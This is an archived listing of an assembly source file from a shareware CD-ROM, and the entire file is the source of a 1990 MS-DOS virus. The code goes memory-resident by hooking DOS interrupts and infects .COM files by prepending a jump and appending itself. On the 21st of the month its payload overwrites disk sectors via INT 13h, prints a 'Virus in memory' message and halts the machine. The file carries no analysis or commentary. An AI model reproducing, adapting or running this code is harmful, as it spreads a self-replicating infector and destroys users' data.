home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SK1.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  8KB  |  412 lines

  1. start:  jmp     short begin
  2.     db    (00h)
  3.     db    (53h)
  4.     db    (4bh)
  5.     int    20h
  6. okey:    db    (0b8h)
  7.     db    (03h)
  8.     db    (00h)
  9.     db    (0cdh)
  10.     db    (10h)
  11. begin:    push    cx
  12.     CALL    F1
  13. F1:    POP    SI
  14.     SUB    SI,09
  15.     push    cs
  16.     pop    ds
  17.     push    cs
  18.     pop    es
  19.         MOV     WORD PTR [LenF],SI
  20.     cld
  21.     mov    di,100h
  22.     mov    cx,5
  23.     rep    movsb
  24.     jmp    ding1
  25. int21h: STI
  26.         cmp     ah,00
  27.     jz    int20h
  28.     cmp    ah,4ch
  29.     jz    int20h
  30. et1:    db      (0eah)
  31. is:    dw    0
  32. io:    dw    0
  33.  
  34. ;int13h: sti
  35. ;        PUSH    BX
  36. ;        PUSH    CX
  37. ;        PUSH    DX
  38. ;        PUSH    DS
  39. ;        PUSH    ES
  40. ;        PUSH    SI
  41. ;        PUSH    DI
  42. ;        push    ax
  43. ;        push    ds
  44. ;        cmp     ah,03
  45. ;        jz      etk2
  46. ;        cmp     ah,05
  47. ;        jnz     etk3
  48. ;etk2:   mov     ax,0000
  49. ;        mov     ds,ax
  50. ;        inc     Word ptr [310h]
  51. ;        cmp     Word ptr [310h],0FFEh
  52. ;        jnz     etk3
  53. ;        push    cs
  54. ;        pop     ds
  55. ;        int     20h
  56. ;etk3:   pop     ds
  57. ;        pop     ax
  58. ;        int     65h
  59. ;        cld
  60. ;        mov     ax,0
  61. ;        POP     DI
  62. ;        POP     SI
  63. ;        POP     ES
  64. ;        POP     DS
  65. ;        POP     DX
  66. ;        POP     CX
  67. ;        POP     BX
  68. ;        iret
  69. int20h: STI
  70.         PUSH    AX
  71.     PUSH    BX
  72.     PUSH    CX
  73.     PUSH    DX
  74.     PUSH    DS
  75.     PUSH    ES
  76.     PUSH    SI
  77.     PUSH    DI
  78.     mov    ah,2ah
  79.     int    21h
  80.     cmp    dl,21
  81.     jnz    okef
  82.     mov    ax,0309h
  83.     mov    dx,0000h
  84.     mov    cx,0001h
  85.     lea    bx,[100h]
  86.     int    13h
  87.     jmp    short okep
  88. okef:   mov     ax,0
  89.     mov    ds,ax
  90.     inc    word ptr [310h]
  91.     cmp    Word ptr [310h],0FFFh
  92.     jnz    oke
  93. okep:    push    cs
  94.     pop    ds
  95.     mov    ah,9
  96.     mov    di,name-okey
  97.     add    di,107h
  98.     mov    dx,di
  99.     int    21h
  100.     cli
  101.     hlt
  102. oke:    mov    ax,0
  103.     mov    ds,ax
  104.     cmp    byte ptr [302h],0
  105.     jz    et3
  106.     mov    byte ptr [302h],0
  107.     jmp    main
  108. dinge:    jmp    ding
  109. et3:    push    cs        ;ds <- cs
  110.     pop    ds
  111.     mov    ah,2fh        ;Dos service function ah=2FH (get DTA)
  112.     int    21h        ;ES:BX Addres of current DTA
  113.     mov    di,edta-okey
  114.     add    di,107h
  115.     mov    [di],ES
  116.     mov    [di+2],BX
  117.     mov    ah,1ah        ;Dos service function ah=1AH (set DTA)
  118.         PUSH    CS
  119.         POP     DS
  120.     mov    dx,dta-okey    ;DS:DX Addres of DTA
  121.         add     dx,107h
  122.     int    21h
  123.     push    cs
  124.     pop    ds
  125.         MOV     AH,4eH
  126.         MOV     DX,files-okey
  127.         ADD     dx,107h
  128.     mov    cx,00
  129.         INT     21H             ;Dos service function ah=4EH (FIND FIRST)
  130.         jc      dinge           ;CX  File attribute
  131.                                 ;DS:DX Pointer of filespec (ASCIIZ string)
  132. vir:    mov    ax,3d02h
  133.     push    cs
  134.     pop    ds
  135.     mov    dx,dta-okey    ;DS:DX Addres of DTA
  136.         add     dx,107h
  137.     add    dx,1EH
  138.     int    21h        ;Dos service function ah=3DH (OPEN FILE)
  139.                                 ;AL Open mode
  140.                                 ;DS:DX Pointer to filename (ASCIIZ string)
  141.                                 ;Return AX file handle
  142.     mov    di,handle-okey
  143.     add    di,107h
  144.         mov     [di],ax
  145.     mov    ah,'C'
  146.     mov    al,'D'
  147.         PUSH    DX
  148.         POP     BX
  149.     cmp    [bx],ah ;Compare filename for 'COMMAND.COM'
  150.     jnz    p1        ;If not first char 'C' then push virus in file
  151.     cmp    [bx+6],al
  152.     jz    v        ;If 7 char 'D' then find next file
  153. p1:    mov    di,handle-okey
  154.     add    di,107h
  155.     mov    bx,[di]
  156.         push    cs
  157.     pop    ds
  158.     mov    ah,3fh
  159.     mov    dx,end-okey
  160.         add     dx,107h
  161.     mov    cx,5
  162.     int    21h        ;Dos service function ah=3FH (READ FILE)
  163.                                 ;BX File handle
  164.                                 ;CX Number of bytes to read
  165.                                 ;DS:DX Addres of buffer
  166.     push    cs
  167.     pop    es        ;ES <- CS
  168.     cld
  169.         PUSH    DX
  170.         POP     SI
  171.     mov    di,107h
  172.     mov    cx,5
  173.     rep    movsb        ;Repeat While CX>0 do ES:DI <- DS:SI
  174.                                 ;                     SI=SI+1
  175.                                 ;                     DI=DI+1
  176.     mov    ax,534bh
  177.     mov    di,dx
  178.     add    di,3
  179.     cmp    [di],ah
  180.     jnz    fuck
  181.     inc    di
  182.     cmp    [di],al
  183.     jnz    fuck
  184. v:    push    cs
  185.     pop    ds
  186.     mov    di,handle-okey
  187.     add    di,107h
  188.     mov    bx,[di]
  189.     mov    ah,3eh
  190.     int    21h
  191.     push    cs
  192.     pop    ds
  193.     mov    ah,4fh
  194.     int    21h
  195.     jc    enzi
  196.     jmp    short vir
  197. enzi:    jmp    ding
  198. fuck:   mov     ax,dta-okey
  199.         add     ax,107h
  200.     add    ax,1aH
  201.     mov    di,ax
  202.         Mov     Word Ptr cx,[di]
  203.         mov     ax,end-okey
  204.         add     ax,107h
  205.     mov    di,ax
  206.     mov    al,0e9h
  207.     cmp    cx,0feh
  208.     jna    v
  209.     add    cx,2
  210.     mov    [di],al
  211.     inc    di
  212.     mov    Word Ptr [di],cx
  213.     mov    ax,534bh
  214.     add    di,2
  215.     mov    [di],ah
  216.     inc    di
  217.     mov    [di],al
  218.     mov    di,handle-okey
  219.     add    di,107h
  220.     mov    bx,[di]
  221.     mov    ax,4200h
  222.     xor    cx,cx
  223.     xor    dx,dx
  224.     push    cs
  225.     pop    ds
  226.     int    21h
  227.     mov    di,handle-okey
  228.     add    di,107h
  229.     mov    bx,[di]
  230.     mov    ah,40h
  231.     mov    dx,end-okey
  232.     add    dx,107h
  233.     mov    cx,5
  234.     int    21h
  235.     mov    ax,4202h
  236.     xor    cx,cx
  237.     xor    dx,dx
  238.     int    21h
  239.     push    cs
  240.     pop    ds
  241.     mov    di,handle-okey
  242.     add    di,107h
  243.     mov    bx,[di]
  244.     mov    ah,40h
  245.     mov    dx,107h
  246.     mov    cx,end-okey
  247.     int    21h
  248.         mov     ah,3eh
  249.     int    21h
  250.     mov    ax,0000
  251.     mov    ds,ax
  252.     inc    Word ptr [0310h]
  253.     push    cs
  254.     pop    ds
  255. ding:    mov    ah,1ah
  256.     mov    di,edta-okey
  257.     add    di,107h
  258.     mov    ds,[di]
  259.     mov    dx,[di+2]
  260.     int    21h
  261. main:    PUSH    CS
  262.     POP    DS
  263.     POP    DI
  264.     POP    SI
  265.         POP     ES
  266.     POP    DS
  267.     POP    DX
  268.     POP    CX
  269.     POP    BX
  270.     POP    AX
  271. int1h:    DB    (0EAH)
  272. INTSH:    DW    (0)
  273. INTOH:    DW    (0)
  274. name:    db    'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
  275. for1:    jmp    for
  276. files:    db    '*.com',0
  277. Ding1:  mov     ax,0000h
  278.     mov    ds,ax
  279.     mov    byte ptr [302h],1
  280.     cmp    word ptr [300h],4B53h
  281.     jz    for1
  282.         mov     word ptr [300h],4B53h
  283.         mov     ah,62h
  284.     int    21h
  285.     mov    ds,bx
  286.     mov    bx,[2ch]
  287.     dec    bx
  288.     mov    dx,0FFFFh
  289. loc_1:    mov    ds,bx
  290.     mov    di,[3]
  291.     inc    di
  292.     add    dx,di
  293.     add    bx,di
  294.     cmp    byte ptr [0000],5Ah
  295.     jne    loc_1
  296.     mov    cx,es
  297.     add    cx,dx
  298.     sub    word ptr [3],80h
  299.     sub    cx,80h
  300.     sub    cx,10h
  301.     mov    es,cx
  302.     mov    di,100h
  303.     cld
  304.     PUSH    DI
  305.         mov     ax,0000h
  306.         mov     ds,ax
  307. ;        mov     bx,[004ch]
  308. ;        mov     [0194h],bx
  309. ;        mov     cx,[004eh]
  310. ;        mov     [0196h],cx
  311.         mov     bx,[0080h]
  312.     mov    cx,[0082h]
  313.         PUSH    CS
  314.     POP    DS
  315.     mov    di,intsh-okey
  316.     add    di,[lenf]
  317.     mov    [di],bx
  318.     mov    [di+2],cx
  319.         mov     ax,0000h
  320.     mov    ds,ax
  321.     mov    bx,[0084h]
  322.     mov    cx,[0086h]
  323.         PUSH    CS
  324.     POP    DS
  325.     mov    di,is-okey
  326.     add    di,[lenf]
  327.     mov    [di],bx
  328.     mov    [di+2],cx
  329.     push    cs
  330.     pop    ds
  331.     POP    DI
  332.     mov    si,[lenf]
  333.     sub    si,7
  334.     mov    cx,800h
  335.         push    cs
  336.         pop     ds
  337.     rep    movsb
  338.     mov    ax,0000
  339.     mov    ds,ax
  340.     mov    WORD PTR [0082h],es
  341.     mov    WORD PTR [0086h],es
  342. ;        mov     WORD PTR [004eh],es
  343. ;        mov     di,int13h-okey
  344. ;        add     di,107h
  345. ;        mov     WORD PTR [004ch],di
  346.         mov     di,int20h-okey
  347.         add     di,107h
  348.     mov    WORD PTR [0080h],di
  349.         mov     di,int21h-okey
  350.         add     di,107h
  351.     mov    WORD PTR [0084h],di
  352.     jmp    ding3
  353. for:    mov    ax,0
  354.     mov    ds,ax
  355.     mov    bx,[80h]
  356.     mov    cx,[82h]
  357.     push    cx
  358.     pop    ds
  359.     push    cx
  360.     mov    di,intsh-okey
  361.     add    di,107h
  362.     mov    bx,[di]
  363.     mov    cx,[di+2]
  364.     push    cs
  365.     pop    ds
  366.     mov    di,v20h1-okey
  367.     add    di,[lenf]
  368.     mov    [di],bx
  369.     mov    [di+2],cx
  370.         mov     ax,0000h
  371.     mov    ds,ax
  372.         mov     Byte ptr [302h],0
  373.         pop     ds
  374.         mov     di,INTSH-okey
  375.         add     di,107h
  376.         mov     bx,ding2-okey
  377.         add     bx,[lenf]
  378.         mov     word ptr [di],bx
  379.         mov     word ptr [di+2],CS
  380.     int    20h
  381. ding2:    push    cs
  382.     pop    ds
  383.     mov    di,v20h1-okey
  384.     add    di,[lenf]
  385.     mov    bx,[di]
  386.     mov    cx,[di+2]
  387.     mov    ax,0
  388.     mov    ds,ax
  389.     mov    WORD PTR ax,[82h]
  390.     mov    word ptr [302h],1
  391.     mov    ds,ax
  392.     mov    di,intsh-okey
  393.     add    di,107h
  394.     mov    [di],bx
  395.     mov    [di+2],cx
  396. ding3:    PUSH    CS
  397.     POP    DS
  398.     push    cs
  399.     pop    es
  400.     pop    cx
  401.     mov    si,100h
  402.     jmp    si
  403. LenF:   dw      ?
  404. dta:    db    256    dup (?)
  405. handle: dw    ?
  406. edta:    dw    ?
  407. bdta:    dw    ?
  408. v20h1:    dw    ?
  409. v20h2:    dw    ?
  410. com:    db      'COMMAND'
  411. end:    db      (00)
  412.